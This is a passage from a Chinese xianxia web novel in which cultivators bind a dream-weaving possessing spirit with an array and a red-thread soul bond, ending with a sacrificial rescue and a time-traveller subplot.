女弟子满脸通红,语气急促:“芳华城传来消息,说是昨日许多人梦中都见到了一个女童变成的白发女鬼!”
众人一惊,立刻联想到了昨天那个白发绯眸的小姑娘。
“有人说,梦里那女鬼用玫瑰荆棘缠住了人的四肢,绑在大漠里,一次又一次将血气灌进灵脉里!”
一波未平,一波又起。
又一弟子飞奔而来,一下子跪倒在地,滑到章流漪脚下:“不好了楼主!昙城出事了!”
“昙城近半数人都沉梦不醒,留守昙城的弟子用何种法子都无法叫醒他们!最重要是那些人、那些人!”他一下子喘不上气来。
“都是吴仙师从春望手中救下的人!”
女弟子一听,连忙补充:“芳华城那些人也是!或多或少都见过春望!这春望着实该死,妄洲怎么会生出如此可怕之物!”
这问到了姜涟清心上。
她实在是太想知道了,妄洲灵是如何从阿愿,变成四个截然不同的残灵的?一定是很可怕的事。
老实说,虽然降妖除魔不一定要问理由,可姜涟清本人对这些妖邪的理由格外好奇。
说句不好听的,若不是将他们逼急了或许也不会出这么多事。当然,她还是坚持即使有苦衷,也要受到该有的惩罚。
不然对那些无辜来说,不就成了笑话。
章流漪蹙眉,神色凝重,不觉拍了一下桌子:“我知道了,先派人去昙城守好,再遣一行人去芳华城,将每个人的梦都问来。”
她眼下青黛有些浓,精气损耗严重。
按理说不会的。
“是!楼主!”二人退下,又急忙赶去通知其他人。
“还真是……”章流漪揉了揉眉骨,“冬愿,一定是冬愿。”
“春望断然不可能不流血,所以这一定是冬愿所为。你们想说的法子是什么?要是能杀死她……”
一说到这里,章流漪便说不下去了,她无意识抿唇,万般犹豫。
即墨逾道:“红线引。”
“以姻缘红线,取而代之。”
以姻缘红线,将两情相悦之人灵魂相接,自此他我不分,彼此是对方的一部分。
“啊?姻缘红线?”楚予思眉头一挑,完全不理解,“不是,谁能和那钟离既白绑红线啊,这才认识多久,谁会有时间和他谈情说……”
他话音未落,便一下子愣了。
的的确确是有一个,有时间和钟离既白谈情说爱之人,并非现在,而是过去。
可他并不太想自己的猜测成真。
楚予思将目光一点点转向楚惊鸿,面上满是不可置信:“姐?”
楚惊鸿心里不安,拆了发髻上的芍药不断把玩着:“总要试一下,试一下让他活下来。”
“谁也不能证明冬愿所言是真,但灵和灵魂若是达成连接,那便要有同样强硬的羁绊连接,才能够替代。”
“所以。”她停了手上的动作,定定地看着手上洁白的芍药,“试试吧,或许他真的喜欢我呢?”
或许我真的喜欢他呢?
“不过,小四,我想问你一件事情。”
楚予思:“说呗,姐你还和我客气上了?”
楚惊鸿将芍药戴回头上,一抬眸。那双动人的桃花眼中带着希冀:“你有得到枯木逢春的渠道吗?”
“或者说,你能带我去雪凇谷,去找枯木逢春吗?”
43. chapter.43逢春
细碎的光洒落大地,清晨的薄雾还未散去,而昙城一时不知夜中何梦留人,还未有特别的反应。
等到他们发现时,已日上三竿,沉梦不醒之人占了大半个昙城,还都是曾被春望所掳去的人。
一时间,恐慌在城中蔓延,无数人求到章家门前,想通过章家联系绝音楼解决。
可当绝音楼弟子来后,却迟迟未有转机。
直至暮色落下,夜灯也未曾灭去,人人自危,不敢入眠,唯恐久困迷梦不醒。
不会再有人陷进这场妄洲的噩梦了。
钟离既白坐在昙城最高的酒楼屋檐上,垂眸看着万家灯火。
或者说,他的身体坐在屋檐上,而他,困在自己的躯体里。
多好笑。
有一天居然会将自己的身体视为囚牢?可这已经是禁锢他自由的囚牢了。一切都事与愿违。
他本想全部托盘而出,再不济只要杀死他,一切就能结束了吧?可他的身体已经不完全是自己的了。
强行嵌入他灵魂深处的另一个念头夺取了他对身体的主导权。
他还能看见,可他没办法改变这一切。
梦就是冬愿的能力,当时强行寄生于他,也便是在梦境中。
这些沉梦之人会看见什么,他想,他已经身为先行者见证过。
许久前,在章流漪还不是绝音楼楼主的时候,有一个关于妄洲的,不可言说的计划,便是关于血气。
一切早已埋下伏笔。
人终于开始为自己的所为付出代价。
钟离既白明白,甚至理解,妄洲灵为何会这样做,为何要将所有人都划进“该死”的行列。
无非是祂的痛苦,源自杀戮本身。
而这些杀戮,大多出自人。
紫极洲便是一个很好的例子,仙界与王权的交织微乎其微,非邪祟作乱百闻宗不出人去凡界解决。
可国与国间的战争亦是血气诞生的契机。
不无辜,都不无辜。
钟离既白看着不灭明灯,默叹一声。
可是谁让他是人呢?
他也是人,他的立场只会是人,他绝无可能背叛自己的种族。
“小白,你说,他们现在开心吗?”他的身体开口了,出来的却是清脆的女童音,“他们在梦里开心吗?”
钟离既白没有回应。
冬愿也不在乎他是否有回音,自顾自继续往下说,两手托腮:“应该不开心吧,怎么想都不可能开心的。”
“这就对啦~”
这就对了。
阿愿也是这样,在无数折磨中苟延残喘,被一条一条无形的准则束缚,被迫承受世间所有痛苦。
祂就是这样痛的。
他们也合该一起痛。
“怎么不说话呢?我说的不对吗?我说的是对的哦~”冬愿一笑,“他们真的什么都没做吗?还是做而不自知呢?”
“我没有春望那么残忍的,春望一直在做伤敌一千自损八百的事,是这样说的吧?那我只是让他们见到真相而已,我不想要他们死哦。”
她的声音突然放缓,放轻:“他们疼了,我也会疼的,我不想再这样疼了。”
*
确定钟离既白的行踪,是在又一个日落时。
通过钟离既白赠予楚惊鸿的发簪,终于找到了他身处何方……就是,那副身体里的可怕存在,不知会不会影响到他本身。
楚予思看见那红芍发簪时还愣了一下,茫然问道:“姐,他送你簪子干什么?”
楚惊鸿瞥他一眼:“给我的二百岁生辰礼啊,你有意见吗?你走之后,我还有什么可以一起过生日的人吗?”
楚予思矢口否认:“没有,绝对没有意见。就是有点惊讶而已,你们关系这么好是我没想到的。”
关系若是不好,也不用谈什么红线引了。
情不知何处所起,再怎么迷茫也不得不承认,情是存在的。
或许楚惊鸿和钟离既白都意识不到,他们的习以为常在他人眼中多惊奇。
就比如,钟离既白这种说话不好听,性格不怎么样的人,居然会把自己的宗门令牌相赠,从此楚惊鸿进得了百闻宗所有地方。
再比如,楚惊鸿对钟离既白的在意程度也是不可比拟的。永远不离开的承诺对她来说,太重要了。
重要到看自己的心意都要迷茫,不知是执念还是心向往之。
“二百岁生辰礼啊……”棠溪迟若有所思,伸手戳了一下即墨逾,“玉玉,等我二百岁你会给我生辰礼吗?”
即墨逾:“如果你想要,今年就可以。”
棠溪迟可惜道:“哎呀,可惜我今年的生辰已经过去了,看来要等明年喽?”
“嗯。”即墨逾点头,“明年送。”
一旁的姜涟清感觉有点魔幻了:“这是什么意思,你今年几岁?”
“什么?”棠溪迟转头,浅笑未消,“我今年一百三十六啊。”
一百三十六岁的化神期。
姜涟清:“……”
她现在有点认同章窈漪的话了,这人的天赋太变态了吧?
楚逢生就没那么淡定了,眼睛瞪得像铃铛:“啊?我是耳朵聋了吗?”
棠溪迟:“没有,我今年就这么大。”
楚逢生:“……”他想和这些凭天赋就扶摇直上的人拼了。
少年天才啊……
如此得天道眷顾之人,在七年后却……要不说命运弄人呢?
“对了,既然确定了钟离既白的位置,你们是现在就要出发吗?”姜涟清很想快点知道这一切要如何解决。
即墨逾回话说:“还要晚点,我会和小夕去一趟妄洲,等我们回来,再带上云蘅草去找他,至于这期间要是发生了什么……”
他一顿,眉头一皱。
“楚小姐,楚医师,就要靠你们和章楼主了。”
“不会很慢的,以我们的速度,大概就是一天一夜的事,我们马上就走,明天夜里,各位昙城见。”棠溪迟。
不过一想到自己先前说要带着这两个现世之人去寻真相,棠溪迟算是知道什么叫搬起石头砸自己的脚了。
但说到的事情,他会做到的。
“至于二位。”他的眼神在姜涟清与楚逢生二人间流连,“也一并跟着我走吧。”
“我答应过你们,会带着你们找到真相,那这一环便一定跳不过。”
姜涟清:“你们要去妄洲做什么?”
棠溪迟弯唇:“去起一个阵,这个阵只有玉玉能起。”
器修,灵修,现在又有起阵一说。
即墨逾的实力还真是深不可测。
姜涟清微微垂眸。
她再度清晰感受到了,这些前人的天赋到底恐怖到了什么地步。并非她妄自菲薄,她一直很清楚地知道自己的天赋不是修仙界顶层。
即便如此,她也还是想走一遭,为这苍生走一遭。
师尊与师兄们便是这样教她
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的。
无情道修者是最公平的判官,她既有了分辨是非之能,便不会止步不前,不问世事。
“现在就出发吗?”她问。
楚逢生余光一直聚焦在姜涟清身上,她的反应他再熟悉不过了。
他所仰慕的救世主,之所以成了救世主,并不在于天赋如何,而是心性如此。
果然,见到她本人,他会更喜欢。
于史书文字中窥见其容,为之旅途震撼,为之所为惊叹。只是文字便足以引他倾心。
他现在非常确定一件事,他心悦她。
少时钦佩的少女此刻就在身侧,再没有比这更梦幻的旅程了。
*
待人走后,韶华阁便只剩下了楚家姐弟。
烛火已经点燃,今晚谁都没有休息的欲望。
他们二人离别已有二百年之久,这会是二百年以来第一次彻夜促膝长谈。
“小四,所以枯木逢春,要怎么得到?”
楚予思当时并未直接给出确切答案,而是只回应了这不是个问题。
再接下来便是章流漪启程昙城,即墨逾索要发簪定位钟离既白。
楚予思莫名其妙地看她一眼:“你在和九洲第一云蘅草大户说什么啊?”
楚惊鸿:“?”
云蘅草是什么东西?
这么想,她也便这么问了:“云蘅草是什么意思?”
“我给它起的名字啊?这么多年来只有我在雪凇谷出入自如,我去一次雪凇谷采到的云蘅草抵初日洲一个春天。”
“我给这东西起个绰号怎么了?”楚予思无所谓地耸耸肩,即刻从怀里掏出自己的小药匣子,“轻的和云似的,不知道的以为云上洲的云掉下来了,这草还有种杜蘅的味道。”
他将药匣子打开,递给楚惊鸿。
里面摆着不知其数的灵草,其中那通体洁白,茎叶脉络染上青色,花状形似玫瑰的白色花尤其显眼。
楚予思:“你拿出来看看好了,我说的一点都没错。”
楚惊鸿从药匣里取出云蘅草,细嗅白花,果真闻到一股与杜蘅相似的气味,重量也几乎可以说是没有。
轻盈如浮云,幽香如杜蘅。
若将其名取为云蘅,倒也贴切。
“我还以为你有什么大事要拜托给我,结果就是一云蘅草,这有什么难的?一点都不难。”
楚惊鸿:“……”
雪凇谷是初日洲唯一一个常年飘雪之地,枯木逢春生长的峭崖更是有风雪笼罩,极难攀爬。
“姐我和你说,要是别人问我要,我肯定出个天价赚一笔,不然亏死了……我这些年就是靠这些活过来的,但可惜我没什么花钱天赋……”
不过……
“要不我把灵石给你,你效仿一下咱爹娘生前,去开个店,或者开个酒楼什么的?灵石肯定是不嫌多的。我是没有咱爹娘的经商天赋,但说不定姐你可以呢?你小时候算盘玩这么厉害……”
不过,她怎么忘了,她这个弟弟不是一般聒噪。
“能不能让我说点!”楚惊鸿一拍木桌,“两百年了难道很有人理你吗?话怎么还是这么多?”
楚予思的声音一下子变弱:“那……那确实没有很多人理我……”
“我这不是只对着你啰嗦吗姐?”
“你是我唯一的亲人。”
楚惊鸿:“我也只有你一个亲人了。”
所以,一定要安好。
起码要安好。
44. chapter.44囚阵
这一天一夜说着并不夸张,甚至有过之而无不及。
天边南流景初现时,便已到了初日洲与妄洲的交界。路过一白雪满天的山谷时,姜涟清猜着,这便是雪凇谷了吧?
云蘅草生长的地方。
簌簌白雪随风而落,草木银装素裹,却未有冻死之相,反而熠熠生辉。
倒是路过之时,被谷里飘出的严寒冻得打了个喷嚏。
姜涟清伸手往后扯了扯楚逢生的衣袖:“方才就是雪凇谷了吧?不是一般冷。”
此刻他们在同一把飞剑上。
乘着风往南边去。
就是这剑要容纳下四人还是太过勉强,有些拥挤,免不了和人背贴胸。
即墨逾和棠溪迟贴的丝毫不尴尬,十分自然,仿佛已经习惯这样前胸贴后背地御剑飞行了。
但姜涟清此时可以说是落在楚逢生怀里了,平日里只觉他高,现在则是觉着肩宽体实。
和印象里的细皮嫩肉医修不同,反而……有点硬邦邦的?
“嗯哼,就是这么冷,人要是在雪凇谷住上一天一夜,怕是要变成冰雕了。”楚逢生自然也看到了那一片雪白,“冻成冰块可没有人会来收尸,谁爱进这冻死人的地方?”
他爱进。
楚逢生不免担心起自己在千年后的身体,现在是否被风雪埋没?
“不过云蘅草就长在这里,还是会有很多人前仆后继去这里送死。”
若问他如何知晓,那便是因他在雪凇谷中救活之人,已经不少了。可每次去到这白雪皑皑的山谷时,又能发现新的骸骨。
人对稀有之物总是心有向往。
飞剑稳稳落于黄沙之上,迎面而来的风沙吹糊了视线。
“这里便是妄洲了,现在什么也没有。”剑柄上刻了“拨云”二字的仙剑被棠溪迟收回,他轻微蹙眉,挡了一下眼睛。
“只有不停息的风沙卷天,御剑再高也看不见。
“走吧,起阵之地,还需再往里些。”即墨逾拍了拍棠溪迟发顶站上的沙灰。
棠溪迟拍开他的手:“走就走嘛,不要仗着身高优势摸我头。”
即墨逾无奈叹气,率先迈出脚步。
姜涟清左看右看,总觉得这两人过于旁若无人了。
正这样想着,眼前覆上一指骨节分明的手,替她挡住了风,那股子被风吹痛的眼睛干涩感荡然无存。
“走吧,涟清姐姐。”楚逢生低头一吹气,吹走了她发上沾了的沙子。
姜涟清烟青的眸子一眨,心跳漏了一拍,莫名觉得古怪起来。
这是……搞哪一出呢?
做的什么暧昧不清的举动?
心慌之余,姜涟清一下子捉下楚逢生的手,也不知道自己有意无意,就这样拽着他的手大步向前去。
“好了快走吧,现在挡了还不是要被吹?”她的声音略显慌乱,有些欲盖弥彰。
“哦?片刻干净也不要吗?那很不拘小节了。”
“你闭嘴吧,当心吃了一堆沙子!”
“这就不劳涟清姐姐费心了。”
……
直到在荒漠里寻到一片玫瑰。
艳丽的红色在黄沙里百蚀不灭,未沾沙粒,只是在风中凌乱摇摆。
花叶结实地长在茎枝上,不息的狂风呼啸着,却未能让高傲的玫瑰垂下头颅。
这是一片沙红姬。
它们长于荒漠,吸收着九洲血气而生长。
“就是这里了。”
周遭是房屋的断壁残骸,已渐渐被风沙埋没了,罕无人迹的大漠上,只留下一片血色的花朵。
即墨逾即刻从袖中掏出一块晶莹剔透的晶石,以及一块清润的玉。
楚逢生即刻认出了这就是魂玉,这是他第四次见到这东西了。
“这是什么阵法,为何要用到魂玉?”楚逢生问。
即墨逾走到花间,拨开尘土,在沙里埋下那块魂玉。
“灵之事,与灵魂并无太多差别。若说一副身体有了灵魂便是活着的,那对于尘缘九洲来说,它们并不是没有灵魂,只是它们的灵魂是看不见的。”
即墨逾未回话,专心致志布置着阵法,此话是棠溪迟代答。
“很少有哪个洲的灵魂是有样貌的,而灵一旦出现,便有了自己选择的权力。倒像是……天地的孩子。”棠溪迟一垂眸,想起那动乱的极夜洲,以及极夜洲灵的神秘传闻,“本来,有那一个例外也就够了。”
传闻里的极夜洲灵,是一少年模样,常坐于海岸上,听海风哼鸣,听万家琐事。
于是在聚妄洲之气造灵时,也给灵安了个人的壳子。
灵本无形,几经雕刻后才有祂的样貌,极夜洲那一位本就听得见人的心事,是人之形态,有何奇怪?
倒是妄洲灵,是汲取了妄洲所有的灵气,造出的一个如人一般的邪灵。
人是世界上最复杂多变,心思缜密的生物了。
“既然做了这些事,妄洲灵要报复谁都无可厚非,被恨上也是理所应当。”
“谁的理由都充分。”
姜涟清一听,总觉得有些奇怪。
他既然看得透,又为何一副不管事的样子?他明明七年前就看得透。
即便如此,却也是七年后在沧洲见了那署名才决定追杀春望的?这件事她并不能确定,可还能是为了什么?
以他一百来岁就达到化神期的天赋,追杀一个春望又有何难?可却硬生生拖了七年。
答案呼之欲出。
虽然荒谬,但似乎只能这样理解。
是因为他不想。
姜涟清现在算是知道,棠溪迟为何会说他和吴云贺天差地别了。
的确是,天差地别……
楚逢生闻言轻哼一声,笑了:“怪不得……”
怪不得。
千年以后没有任何棠溪迟的痕迹。
后世有闻即墨城主昼夜同天,钟离阁主或者说他是阁主夫人,灵修之名闻天下,连楚医师之人都有提到,却唯独没有这位旷世奇才。
原是一个无心人。
他只是看着,他什么时候想了才会掺进事情里纠缠一番。
可更多时候,他只是看着。
这样的人修了无情道,反而是枷锁,他合该去修本心道。
无论他是因何破了那“心无偏袒”的绝对规则,都不重要了。这无情道,就该是他破。
“怪不得什么?”棠溪迟还是那副友好的笑颜,可现在却莫名觉得他的眼睛是冷的。
蒙着一层蓝色的雾,谁也猜不透他所想。
“怪不得你是一副,很好去死的样子。”楚逢生轻吐出一句话,便不再言说,侧头去看那阵法布到了哪个地步。
依古籍所言,这该是一个囚阵。
也确实是,囚了那完整的妄洲邪灵千年有余……
姜涟清听到楚逢生的话眉头蹙深,可她却不知要如何说。
仿佛心中的迷云突然被拨开了。
她终于明白,当时在明月楼下见到棠
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溪迟时,那复杂的心绪到底是为何了。
因为……
他看起来,已经没有生的牵挂了。
棠溪迟但笑不语,丝毫没有因此话生气的意思,天知道他作何感想。
阵法已到了最后一步。
即墨逾手上的晶石以浅红色的灵力催动,散发着血色的碎光,缓缓浮上天迹,如宫灯燃火升空。
细碎的红光洒落时像红色的星星。
啪——
一阵玻璃破碎般的声音,晶石碎开,骤然掉落黄沙中。
妄洲看不清天色,那微弱的红光在尘土中若隐若现。
棠溪迟将一片沙红姬的花瓣投入当时埋下魂玉之地。
下一刻,有红线将碎片连接,在沙上画出一朵玫瑰,又隐入地面。
这便是成了。
“若祂不是妄洲灵,或许还没这么方便……”棠溪迟笑笑,“祂离不开妄洲的,不需要祂的毛发,只要在妄洲这篇土地上就好了。”
姜涟清:“你觉得,该囚住她吗?”
棠溪迟一摇头:“祂该不该被囚在妄洲,和我有什么关系?我不过是陪同来做他要做的。”
现在姜涟清确定了。
他追杀春望是为了即墨逾,去到昼夜同天是为了即墨逾,参与盈洲乱也是为了即墨逾……
只有一个牵挂,是很危险的。
答案已然解明。
“走吧。”即墨逾再次拂去棠溪迟发上的沙子,“可以回去了,小夕。”
“嗯。”棠溪迟一点头。
再临初日洲边界,太阳已然悄然落山。
身在妄洲,便见不到日月,没了时间观念,不曾想已然过了一整个白日。
棠溪迟又召出了那柄冰蓝色的灵剑。
飞至空中,要去到盈洲昙城。
夜中流云消散,星辰光亮微弱,那轮九洲共同的月亮再度挂上晴空。
姜涟清仰头看天,只见木星土星合相。
福兮祸所伏,祸兮福所倚。
倒是应了这盈洲乱该有的结局。
那接下来,便是幻境的最后一程了,昙城夜梦,一切结束在黎明之前。
未了,已了。
离那高山流水之洲愈近,更有种棉花堵了心口之感。
偏偏此时,楚逢生恰好说了句闲话:“棠溪兄弟,你是什么时候到化神期的?感觉你一直保持下去,定然得以傲视群雄。”
“嗯?不敢动不敢当。”夜风太急,棠溪迟的声音是吹过来的,“欠的都是要还的,我已百年未有突破。”
……她听到了什么,百年?
姜涟清有种一口气吸不上来的感觉,这群修炼如喝水的能不能少说话?楚逢生也是!有事没事问这种问题干嘛?!
楚逢生追问:“百年未有突破?为何?”
“我不知道啊,所以不久前我下了云上洲,遇到了即墨逾,陪同他踏上旅程呢。”棠溪迟坏心眼得仰头看他一眼,“是吧玉玉?你感谢我吧,也就我会陪你了。”
即墨逾不语,只是撇开头不再看他。
棠溪迟见这人不理会自己也没意见,目视前方:“或许,是我天生就不那么适合无情道吧。”
“毕竟……我是不公平的。”
无情道的公平,不是他这种随心之人给得了的,他从不敢说万物皆等。
但是……他有意无意瞥了一眼身后两男女。他好奇了,这位无情道修意识到自己的感情后……
还会这般如一吗?
45. chapter.45红线
昙城的昙花凋谢许久,却在夜晚点燃了一盏又一盏昙花样式的灯盏。
今晚是个不眠夜。
秋风萧瑟,卷来枯黄叶片,月凉星繁,连星星都来凑这场热闹。
钟离既白还在高楼上,而身后的脚步声,明显非常。
那人停留了好一会,才堪堪开口:“你听得到吗?钟离既白?”
楚惊鸿还戴着那洁白的芍药,身后是一轮玉盘,倒显得她像是个月之仙女。
“你听得到吗?”
“钟离既白”没有回头:“他听得到哦。”
冬愿笑得意义不明,语气调侃。
“阿、离~”
楚惊鸿一哽,抿了抿唇,却未曾后退。
红线引,取之传闻中月老所牵之红线,牵系相爱之人的灵魂,若施法长久离开对方,便会进入一种如同着了魇的情况。
虽不致命,时候也不会长久,却不免会有困扰。
她还在问自己。
我爱他吗?他爱我吗?
她好想问出这个问题啊,可又不想要旁人听去。若不是这妄洲邪祟,她或许没那么快想到这一茬。
“你想和他说什么啊?阿离?”冬愿见她不语,便转身,笑盈盈地望着她,“你只要说出来就好了嘛,他听得见。”
这张熟悉的脸露出了宛若女童般天真的笑颜,楚惊鸿只觉得无比陌生。
为什么会选择他?倒底是为什么?她有太多为什么需要解答了。
她不禁喃喃:“为什么是钟离既白……”
冬愿眼珠子一转,俏皮道:“因为人家喜欢呀,我好喜欢哦~”
“他不是想救所有人吗?那为什么就不能救救‘我们’呢?为什么不能救救阿愿呢?”
说着,她的表情突然变得阴冷,连声音都飘渺如烟。
“哦,也是,毕竟非我族类是吧?毕竟非我族类,当是以族群利益为重,是这样吗?可阿愿做错什么了呢?”
“‘我们’,不是自愿出现的,也不要怪‘我们’怨恨才对啊。”
“我不过是想要一具行走人世的身体罢了。”她装作弱不禁风捂住心口。
“‘我们’遂了你们的愿,你们为何不愿遂‘我们’的愿呢?”
楚惊鸿轻叹出一口气,闭上眼垂头,又再度睁眼,眸光坚毅:“就像是你说的,非我族类。所谓的恩情是什么,大多数人都不知道,我们只知道,你们祸害苍生!”
说着,一支翠色的笔倏然出现在她手中,在空中划下一道符印!
那凭空出现的符印化作一阵飓风,猛然向冬愿吹去。
百闻宗以符修为著,门中弟子大多在符咒上天赋异禀,然在紫极洲这般文人众多之地,以笔为器的画修便是另一道门楣。
冬愿一皱眉,轻哼一声,脚尖轻点屋顶便凌空飞起,化作一阵花瓣躲开攻击,又现形在空中。
那绯色的瞳孔没有一点温度,她只是随手掐了朵霜花,向前轻轻一吹。
“不要这么凶嘛,既然不知道,那我就告诉你。”
“睡一觉,就什么都知道了。”
那片霜花轻飘飘朝着楚惊鸿飞去,她预感这不是什么好东西,正欲躲开,一团浅红的火焰却将那霜花焚化。
紧接着,一道冰凌向着冬愿袭去,她有所察觉,微微侧身便将之躲了过去。
“楚小姐,打架的事还是交给我吧。”棠溪迟提着冰蓝色的剑,一下跳上屋檐,沐浴月色之下。
“啧,看着这张脸做这样懵懂无知的表情,真是有点恶心了。”
同时,即墨逾牵出一条红线,于她身侧交予,并叮嘱:“先想办法将这线缠到钟离既白的手上,他若不能抢回自己的身体,再由你去催动这红线上的术法。”
“这更重要之事,只能由你完成。”
更重要的是什么,便不用再多说。
楚惊鸿一点头:“好!”
几人快速行动起来,先由棠溪迟一剑划出霜雪,不管不顾着向冬愿袭去,再有即墨逾召出一把机关扇,不知触动了哪个机关,机关扇扇叶一片片重组,成了一把长刀。
三人很快缠斗在一起。
冰与火两面夹击,而冬愿化作千片花瓣,轻松躲开了二人的攻击。冰蓝与浅红的灵力在夜空中炸出花来。
楚惊鸿牵着这红线的一端,思索着要如何牵上钟离既白。
喜欢吗,还是执念呢?
不想了……她要钟离既白活下来,回到她身边,完成他的诺言。
楚惊鸿以笔画咒,附在红线上,轻声:“去吧,去找他。”
红线微微亮起,一端系到她细白的腕上,另一端则缓缓飞向天迹,要去寻那心爱之人。
屋檐之下,姜涟清仰头看着这出最终剧目,心中感慨万千。
“虽然已经知道结果是好的,但是这般急促的确定心意……”她不知道,当感情与正事纠缠上后,这份感情是否还是因为纯粹的爱意。
“他们不会后悔的。”楚逢生道,“往后余生都不会后悔,也不会后悔是以红线引的方式,毕竟这是……最好的证明了。”
他太爷太奶,后世的确伉俪情深,钟离既白也如约没有离开楚惊鸿,可……他们的结果,并不圆满。
这是他所不能言的。
“如果没有这一遭,或许不可能这样快地确定心意,但还是会。说来钟离既白也有意思,一见钟情装好朋友。”
姜涟清奇怪地看他一眼:“你怎么就这样盖棺定论了?”
楚逢生脱口而出:“当然是因为他之后自己就是这……”他即使闭了嘴,绝望闭眼,一巴掌拍到自己脑门上。
“嘶……我真得好好控制我这张嘴了。”
姜涟清心中疑虑更甚。
楚逢生总能说出一些没有人能证实的事情,可偏偏他反应自然得很,若不是道听途说,那他能为什么张口就来?
他知道的太多了。
有种他不属于这个时代的多。
先前他说,他不可以说。那为什么不可以说?是什么理由必须不能说?
姜涟清现在很想知道,他到底从何而来。
是初日洲某个不知名的角落,还是说……他本就不是……
这猜想,太过大胆了。
远处,楚予思携带着那小药匣子急速奔来,爬上屋顶的姿势多少有点狼狈,但现在也顾不得他楚少爷的颜面了。
微微散发光芒的红线,于空中牵住钟离既白的手腕,那堆花瓣再无可能散开,只能聚成人形。
冬愿眉头越蹙越深,像是不可置信居然想用这样的办法去接触她的绝对灵魂契约,真是疯了。
且不说那阿离是不是真的确信他们相互有爱,就算有又如何,还不是要钟离既白一死,才能彻底断了链接?
除非有什么法子能让他起死回生!
这楚予思喘着气爬上来站立,毫不犹豫掀开了小药匣,里边那洁白如雪,又染青丝的灵草全然暴露在皎洁月光下。
那是……!
冬愿一边躲避着这即墨棠溪二人的攻击,一边隔着老远便见到那九洲唯有绛霜不解的灵草,咬紧牙关。
枯木逢春……
她将指节握得嘎吱响。
怪不得敢用这种方式去解她的契约,原是这枯木逢春!
她试图靠近楚予思,一击毁去那灵草,可一柄冰蓝色的剑却始终挡在她身前。
“姐,接下来要如何做。”楚予思站在楚惊鸿身边,看着那红线牵起二人,却迟迟起不了作用,“这要怎么弄啊,咱又不是灵修,要是钟离既白醒不过来怎么办?”
楚惊鸿抬眼望着空中身影:“他说了不会离开我,就要说到做到才对。”
此时,即墨逾降到屋檐上,将那机关所成的长刀一收,便又成了把折扇,隐约可见伞柄上“开雾”二字。
即墨逾:“将枯木逢春交予我吧,接下来,也差不多了,钟离既白该出来了。”
棠溪迟退出战场,稳稳落到另一头的屋檐上,几人看着空中孤身的冬愿。
一阵流水般的琴声传来,若雾中指点迷津,勾回魂之思绪。
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>望向来源处,是地上,章流漪奏起那醒魂曲,琴音化作波纹,试图唤醒身体里的另一个灵魂。
冬愿脸色奇差,瞳孔再次翻白,在空中痛苦仰头地嘶吼:“啊啊啊啊啊——!”
“钟离既白”手中召出一把唐刀,姜涟清第二次见到这名为百闻相见的名刀。
“钟离既白”欲挣脱琴音,便要毁去来源,可还未等她再有所动作,瞳孔的颜色翻回了那纯粹的黑。
是钟离既白。
钟离既白浑身抽搐着,正与冬愿争夺着这身体使用权,他握紧刀柄,艰难转身,目光锁定了红线的另一端。
“阿离……”
他惨然一笑。
楚惊鸿声音颤抖:“钟离既白,你……”
“阿离,你还真是……”钟离既白眼眶中汇起一汪水,“不该这样逼你的,本来不该这样逼你的……”
“我知道你们是什么样的计划了。”
“既然,这样……”他面部扭曲,吃力地抬起百闻相见,白色的灵力汇聚在红线所系的掌心。
“那便……由我来……”
冬愿在他身体里疯狂叫嚣着不要,强烈的意识要再度夺过他的身体。
“由我来赌一次吧。”
钟离既白一刀斩断了自己的右手。
刹那间,鲜血迸溅而出,沾染在红线上白色的灵力融进红线之中,引得红线光芒璀璨夺目。
红线引,终于激活。
楚惊鸿眼眶微红,几步上前去,向着空中之人飞去……
钟离既白再度看了她一眼,笑着说:“没事的,我不觉得疼。”
百闻相见刺穿心脏,白影于高空坠落。
她惊呼:“钟离既白!”
即墨逾拿过云蘅草,也一并追了上去。
*
“真是奇了,也不见冬愿从身体里出来,这联系该是断了才对。”
“就和沙红姬一样,一定要拖着人一起去死,才能放过他呢。”
少女声音柔婉,端坐在屋檐之上,歪头疑惑。
棠溪迟早便注意到身旁多了道藕紫色的身影,那黑发红眸,便很难不想到春望。
“你是阿愿的哪一个时期。”
秋许撇过头,看他一眼,意味不明:“你好像一点都不意外哦?你早就知道了,对吗?”
棠溪迟:“算是吧,你是哪个时期的阿愿。”
秋许扭头,看着地面,目光不移那红色的背影,双手托腮:“夏期之后,便是我,我之后便是冬愿。”
“夏期和我,可不像冬愿和春望一样想报复谁呢,他想要自由,我只想要小玫瑰。”
棠溪迟顺着她的目光看到章流漪,讽刺般轻笑一声,道:“你想要章流漪,对吗?”
“让我猜猜,当初的妄洲之旅也有我们这位动人的章楼主……哦不,当时,还是大师姐,结下了不解之缘,是这样吗?”
秋许不语,只是勾唇浅笑。
“哈。”棠溪迟就当她是默认了,“你们也够奇怪的,真够像人的。”
秋许不置可否:“我还以为,你会觉得,那个体内灵魂是原身来世的人,更感兴趣。”
“是吧,玉玉肯定看出来了,楚逢生自己也承认他不是楚予思,可不就是只有转世今生一种说法了?不然哪有融合的这么好的。”
他余光瞥见,那现世而来的少女正眼光肃穆地看着这方檐上,满不在乎地冲她笑了笑。
姜涟清眼中,便是了另一个意思。
那厢话语她与楚逢生全部听见。
棠溪迟早就知道。
他早就知道秋许盯上了章流漪!那他来盈洲的目的到底是什么?!
还有楚逢生!
她忽然转头,狠狠地瞪了他一眼,而他许是觉得心虚,下意识别开了视线。
“楚逢生,什么叫只有转世今生一种说法?什么叫身体和灵魂融合如此融洽?”
那躺在地上的钟离既白便再度睁眼。一切都在明月的见证下结束了。
“你到底,来自什么地方?”
46. chapter.46起誓
“你到底,来自什么地方?”
在失去意识的最后一刻,楚逢生看见那双烟青色的眼睛透着一股渴望,又有点难过。
她好像,真的很在意他来自何方。
就像她一直坚持着,他和楚予思是完全不同的。
楚逢生便是楚逢生。
楚逢生无奈阖上双眼。
这般直白被指出灵魂与身体兼容,再怎么样都瞒不下去了,如果她真的非要问个明白……
他想。
他会愿意托盘而出的,可他绝不可能透露关于这场旅途的一丝一毫。
楚逢生自认为自己没有改变历史进程,起码现在没有,那之后也不会有。
*
云卷云舒,秋风飒爽。
再度睁眼之时,便是在那镜花潭水之上,楚逢生最先醒来,一坐起便瞧见身边双眸紧闭的姑娘。
他突然不知要以何种言语,去说出这一切了。
旅程越接近结尾,楚逢生越无法言语。
他真真切切看到的一切,最初呈现在眼前时,是以文字的方式,仅仅是文字,便已然震撼。
更何况看见的,是真正的,在流动的历史?
历史的厚重感与无力感总是并行。
结局是好的又如何?这一路遇见的沿途景色怎能说不遗憾?
他叹出一口气,就这般坐在潭水之上,清澈见底的镜花潭,倒映着他们的影子。
姜涟清的睫毛轻颤,不多时便睁开双眼,同样在潭水上坐了起来。
一套动作流畅,再未引起涟漪圈圈。
